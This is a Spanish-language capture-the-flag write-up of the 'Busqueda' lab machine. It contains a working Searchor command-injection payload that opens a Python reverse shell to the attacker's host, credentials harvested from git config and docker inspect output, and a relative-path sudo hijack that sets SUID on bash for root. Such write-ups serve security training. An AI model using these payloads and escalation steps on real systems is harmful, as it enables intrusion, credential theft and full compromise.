Entrada

Busqueda

Busqueda

Skills

  • Searchor Exploitation (Command Injection) [RCE] (CVE-2023-43364)
  • Git Configuration Listing
  • Abusing sudoers privilege [Privilege Escalation]

Certificaciones

  • OSCP (Escalada)
  • eJPT
  • eCPPTv3

Descripción

Búsqueda es una máquina Linux de dificultad fácil que implica explotar un command injection presente en un módulo de Python. Al aprovechar esta vulnerabilidad, obtenemos acceso de nivel de usuario a la máquina. Para escalar privilegios a root, descubrimos credenciales dentro de un archivo de configuración de Git, lo que nos permite iniciar sesión en un servicio local de Gitea. Además, descubrimos que un script de verificación del sistema puede ejecutarse con privilegios de root por un usuario específico. Utilizando este script, enumeramos los contenedores de Docker, lo que revela credenciales para la cuenta de Gitea del usuario administrator. Un análisis adicional del código fuente del script de verificación del sistema en un repositorio de Git revela un medio para explotar una referencia de ruta relativa, otorgándonos Remote Code Execution (RCE) con privilegios de root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping -c 3 10.129.228.217
PING 10.129.228.217 (10.129.228.217) 56(84) bytes of data.
64 bytes from 10.129.228.217: icmp_seq=1 ttl=63 time=36.8 ms
64 bytes from 10.129.228.217: icmp_seq=2 ttl=63 time=38.3 ms
64 bytes from 10.129.228.217: icmp_seq=3 ttl=63 time=37.4 ms

--- 10.129.228.217 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 36.816/37.494/38.279/0.601 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.228.217 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 23:41 CEST
Initiating SYN Stealth Scan at 23:41
Scanning 10.129.228.217 [65535 ports]
Discovered open port 22/tcp on 10.129.228.217
Discovered open port 80/tcp on 10.129.228.217
Completed SYN Stealth Scan at 23:41, 11.35s elapsed (65535 total ports)
Nmap scan report for 10.129.228.217
Host is up (0.053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p 22,80 10.129.228.217 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 23:42 CEST
Nmap scan report for 10.129.228.217
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds

Web Enumeration

Si accedemos a http://http://10.129.228.217/ vemos esto

Agregamos el dominio al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.228.217  searcher.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Si accedemos nuevamente a la web veremos esto

Vemos que se está empleando Flask y Searchor 2.4.0

Web Exploitation

He encontrado la forma de ejecutar comandos en versiones iguales o inferiores a la 2.4.2 https://github.com/jonnyzar/POC-Searchor-2.4.2.git. Lo primero que debemos hacer es ponernos en escucha con netcat

1
# nc -nlvp 9001

Debemos inyectar este payload en la búsqueda de Search

1
', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.28',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

Recibimos una shell

1
2
3
4
5
6
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.28] from (UNKNOWN) [10.129.228.217] 37830
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc

Vamos a realizar el tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 18

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Privilege Escalation

Listamos todos los puertos internos abiertos de la máquina víctima

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
svc@busqueda:/var/www/app$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:222           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:40417         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:42254         127.0.0.1:3000          ESTABLISHED
tcp        1      0 127.0.0.1:5000          127.0.0.1:58938         CLOSE_WAIT 
tcp        0      0 127.0.0.1:3000          127.0.0.1:42272         ESTABLISHED
tcp        0      0 172.19.0.1:58322        172.19.0.2:3000         ESTABLISHED
tcp        0      0 172.19.0.1:58350        172.19.0.2:3000         ESTABLISHED
tcp        0      1 10.129.228.217:60424    8.8.8.8:53              SYN_SENT   
tcp        0      0 127.0.0.1:42286         127.0.0.1:3000          ESTABLISHED
tcp        0      0 127.0.0.1:3000          127.0.0.1:42286         ESTABLISHED
tcp        0      0 127.0.0.1:3000          127.0.0.1:42254         ESTABLISHED
tcp        0    138 10.129.228.217:37830    10.10.16.28:9001        ESTABLISHED
tcp        0      0 127.0.0.1:42272         127.0.0.1:3000          ESTABLISHED
tcp        0      0 172.19.0.1:40972        172.19.0.2:3000         ESTABLISHED
tcp        0      0 127.0.0.1:3000          127.0.0.1:53816         ESTABLISHED
tcp        0      0 172.19.0.1:58348        172.19.0.2:3000         ESTABLISHED
tcp        0      0 127.0.0.1:53816         127.0.0.1:3000          ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 10.129.228.217:80       10.10.16.28:49012       ESTABLISHED
tcp6       0      0 10.129.228.217:80       10.10.16.28:48996       FIN_WAIT2  

Le hacemos un curl al servicio que corre por el puerto 3000 y vemos un subdominio llamado gitea.searcher.htb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
svc@busqueda:/var/www/app$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en-US" class="theme-auto">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Gitea: Git with a cup of tea</title>
	<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjoiNTEyeDUxMiJ9LHsic3JjIjoiaHR0cDovL2dpdGVhLnNlYXJjaGVyLmh0Yi9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19">
	<meta name="theme-color" content="#6cc644">
	<meta name="default-theme" content="auto">
	<meta name="author" content="Gitea - Git with a cup of tea">
	<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
	<meta name="keywords" content="go,git,self-hosted,gitea">
	<meta name="referrer" content="no-referrer">


	<link rel="icon" href="/assets/img/favicon.svg" type="image/svg+xml">
	<link rel="alternate icon" href="/assets/img/favicon.png" type="image/png">
	<link rel="stylesheet" href="/assets/css/index.css?v=1.18.0~rc1">
	
<script>
	window.addEventListener('error', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
	window.config = {
		appUrl: 'http:\/\/gitea.searcher.htb\/',
		appSubUrl: '',
		assetVersionEncoded: encodeURIComponent('1.18.0~rc1'), 
		assetUrlPrefix: '\/assets',
		runModeIsProd:  true ,
		customEmojis: {"codeberg":":codeberg:","git":":git:","gitea":":gitea:","github":":github:","gitlab":":gitlab:","gogs":":gogs:"},
		useServiceWorker:  false ,
		csrfToken: 'QQ6foGhzlFh9ewZFb3AE6ODvCUo6MTcyODk0NDk4Njk5OTQzMzgyNg',
		pageData: {},
		requireTribute:  null ,
		notificationSettings: {"EventSourceUpdateTime":10000,"MaxTimeout":60000,"MinTimeout":10000,"TimeoutStep":10000}, 
		enableTimeTracking:  true ,
		
		mermaidMaxSourceCharacters:  5000 ,
		
		i18n: {
			copy_success: 'Copied!',
			copy_error: 'Copy failed',
			error_occurred: 'An error occurred',
			network_error: 'Network error',
		},
	};

También podemos comprobar los dominios visualizando el /etc/hosts

1
2
3
4
5
6
7
8
9
10
svc@busqueda:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb gitea.searcher.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Agregamos el dominio a nuestro /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1	localhost
127.0.1.1	kali-linux
10.129.228.217	searcher.htb gitea.searcher.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Visualizamos los directorios ocultos y vemos un .git

1
2
3
4
5
6
7
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Oct 14 21:40 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates

Listamos todas las configuraciones de Git que están actualmente establecidas en tu entorno y vemos unas credenciales

1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc@busqueda:/var/www/app$ git config -l
user.email=cody@searcher.htb
user.name=cody
core.hookspath=no-hooks
safe.directory=/var/www/app/.git
safe.directory=/var/www/app
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
remote.origin.url=http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
remote.origin.fetch=+refs/heads/*:refs/remotes/origin/*
branch.main.remote=origin
branch.main.merge=refs/heads/main

Se reutiliza la contraseña jh1usoih2bkjaspwe92 para nuestro usuario

1
2
3
4
5
6
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Si accedemos a http://gitea.searcher.htb/ vemos esto

Pulsamos en Iniciar Sesión y nos logueamos como el usuario cody

Una vez dentro vemos que hay otro usuario llamado administrador del cual podemos intentar conseguir las credenciales para logueamos

He buscado docker inspect en Google y he filtrado por format, he dado con esta web en la cual explica los tipos de formats que existen https://docs.docker.com/engine/cli/formatting/

1
2
svc@busqueda:~/privesc/opt$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
{"Id":"960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb","Created":"2023-01-06T17:26:54.457090149Z","Path":"/usr/bin/entrypoint","Args":["/bin/s6-svscan","/etc/s6"],"State":{"Status":"running","Running":true,"Paused":false,"Restarting":false,"OOMKilled":false,"Dead":false,"Pid":1725,"ExitCode":0,"Error":"","StartedAt":"2024-10-14T21:40:16.153873356Z","FinishedAt":"2023-04-04T17:03:01.71746837Z"},"Image":"sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78","ResolvConfPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf","HostnamePath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname","HostsPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts","LogPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log","Name":"/gitea","RestartCount":0,"Driver":"overlay2","Platform":"linux","MountLabel":"","ProcessLabel":"","AppArmorProfile":"docker-default","ExecIDs":null,"HostConfig":{"Binds":["/etc/timezone:/etc/timezone:ro","/etc/localtime:/etc/localtime:ro","/root/scripts/docker/gitea:/data:rw"],"ContainerIDFile":"","LogConfig":{"Type":"json-file","Config":{}},"NetworkMode":"docker_gitea","PortBindings":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"RestartPolicy":{"Name":"always","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":[],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"private","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"private","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":67108864,"Runtime":"runc","ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":null,"OomKillDisable":null,"PidsLimit":null,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":["/proc/asound","/proc/acpi","/proc/kcore","/proc/keys","/proc/latency_stats","/proc/timer_list","/proc/timer_stats","/proc/sched_debug","/proc/scsi","/sys/firmware"],"ReadonlyPaths":["/proc/bus","/proc/fs","/proc/irq","/proc/sys","/proc/sysrq-trigger"]},"GraphDriver":{"Data":{"LowerDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff","MergedDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged","UpperDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff","WorkDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"},"Name":"overlay2"},"Mounts":[{"Type":"bind","Source":"/root/scripts/docker/gitea","Destination":"/data","Mode":"rw","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/localtime","Destination":"/etc/localtime","Mode":"ro","RW":false,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/timezone","Destination":"/etc/timezone","Mode":"ro","RW":false,"Propagation":"rprivate"}],"Config":{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}},"NetworkSettings":{"Bridge":"","SandboxID":"1d46388a7260b13bc702bca4c905a131bb5033c1a1fff7888a0f0311a77c1f31","HairpinMode":false,"LinkLocalIPv6Address":"","LinkLocalIPv6PrefixLen":0,"Ports":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"SandboxKey":"/var/run/docker/netns/1d46388a7260","SecondaryIPAddresses":null,"SecondaryIPv6Addresses":null,"EndpointID":"","Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"IPAddress":"","IPPrefixLen":0,"IPv6Gateway":"","MacAddress":"","Networks":{"docker_gitea":{"IPAMConfig":null,"Links":null,"Aliases":["server","960873171e2e"],"NetworkID":"cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227","EndpointID":"e6d05bb43d4dfa03d600380967ee5b29ab941aa86bcef77d28303b87a1e9d6a0","Gateway":"172.19.0.1","IPAddress":"172.19.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:13:00:02","DriverOpts":null}}}}

Para que verlo mejor vamos a copiarnos este texto y meterlo en un archivo en nuestra máquina y ejecutar este comando para que el output se vea de una forma más clara. Una vez hecho esto podemos ver una credencial

1
2
3
4
5
6
7
8
9
10
11
12
13
# cat information.txt | jq
    "Env": [
      "USER_UID=115",
      "USER_GID=121",
      "GITEA__database__DB_TYPE=mysql",
      "GITEA__database__HOST=db:3306",
      "GITEA__database__NAME=gitea",
      "GITEA__database__USER=gitea",
      "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "USER=git",
      "GITEA_CUSTOM=/data/gitea"
    ],

Nos logueamos con las credenciales administrator:yuiu1hoiu4i5ho1uh

Una vez hecho esto vemos que existe un repositorio llamado scripts

Si accedemos a él vemos varios scripts, estos scripts son los que podemos ejecutar como sudo

Analizando el script system-checkup.py vemos que solo funcionará si le pasamos como argumento el script ./full-checkup.sh

1
2
3
4
5
6
7
8
elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

Esto significa que cuando ejecutemos el comando debemos estar en el directorio en el que se encuentra el script o de lo contrario no funcionará

1
2
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

Si ejecutamos el script desde el directorio /opt/scripts funciona correctamente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
  "/gitea": "running"
}
{
  "/mysql_db": "running"
}

[=] Docker port mappings
{
  "22/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "222"
    }
  ],
  "3000/tcp": [
    {
      "HostIp": "127.0.0.1",
      "HostPort": "3000"
    }
  ]
}

[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up

[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id  │ name   │ namespace   │ version │ mode    │ pid      │ uptime │ ↺    │ status    │ cpu      │ mem      │ user     │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0   │ app    │ default     │ N/A     │ fork    │ 1536     │ 20h    │ 0    │ online    │ 0%       │ 16.6mb   │ svc      │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘

[+] Done!

Podemos aprovecharnos del funcionamiento del script creándonos un archivo .sh con esta instrucción

1
2
3
4
svc@busqueda:~/privesc$ cat full-checkup.sh 
#!/bin/bash

chmod u+s /usr/bin/bash

Le damos permisos de ejecución al archivo

1
svc@busqueda:~/privesc$ chmod +x full-checkup.sh 

Ejecutamos el script

1
2
3
svc@busqueda:~/privesc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!

Comprobamos que el script ha funcionado

1
2
svc@busqueda:~/privesc$ ls -l /usr/bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash

Nos convertimos en root spawneando una bash como el propietario que es root

1
2
3
svc@busqueda:~/privesc$ bash -p
bash-5.1# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.